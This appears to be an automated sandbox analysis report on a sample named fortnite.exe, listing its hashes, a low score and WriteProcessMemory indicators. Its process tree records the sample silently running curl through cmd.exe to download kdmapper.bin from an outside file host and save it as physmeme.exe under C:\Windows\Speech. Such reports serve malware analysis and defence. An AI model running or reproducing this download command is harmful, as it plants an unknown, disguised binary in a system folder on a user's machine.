5b4c539067dc6db394d2367305e53555c250d636379acb2b384efe3d77738c63

Analysis

max time kernel
118s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
04-11-2024 06:14

Target

fortnite.exe
Size

1.3MB
MD5

8d17e6244d984c3c44bd9efa22d90bd3
SHA1

88c8edaa2ea2ed078454e738b1e30c882bbe3ee5
SHA256

5b4c539067dc6db394d2367305e53555c250d636379acb2b384efe3d77738c63
SHA512

bf800abfc7cd57fdc3c2ccd07527ba76f47d6d5426bb2d9107379db74e4b6d07ac4e8b6ff3f468e20a5e5302a01f9c1d39a0fe1bc2af4670bf8a00cab2ffdf1e
SSDEEP

12288:6pqafF/eav6841vwUZF/NmXHBg52Kn4UxCj2AqeMQm6ZQyRWkhuq3nbep3+bKDZs:9Q/PDVQcE2Kn4uGKF6lpC+bKlAtc06L

Score

1^/10

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2156 wrote to memory of 816	2156	fortnite.exe	31
PID 2156 wrote to memory of 816	2156	fortnite.exe	31
PID 2156 wrote to memory of 816	2156	fortnite.exe	31

C:\Users\Admin\AppData\Local\Temp\fortnite.exe
"C:\Users\Admin\AppData\Local\Temp\fortnite.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2156
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://file.garden/ZmE_ziOgiFXI9Y48/kdmapper.bin --output C:\Windows\Speech\physmeme.exe
  2⤵
  PID:816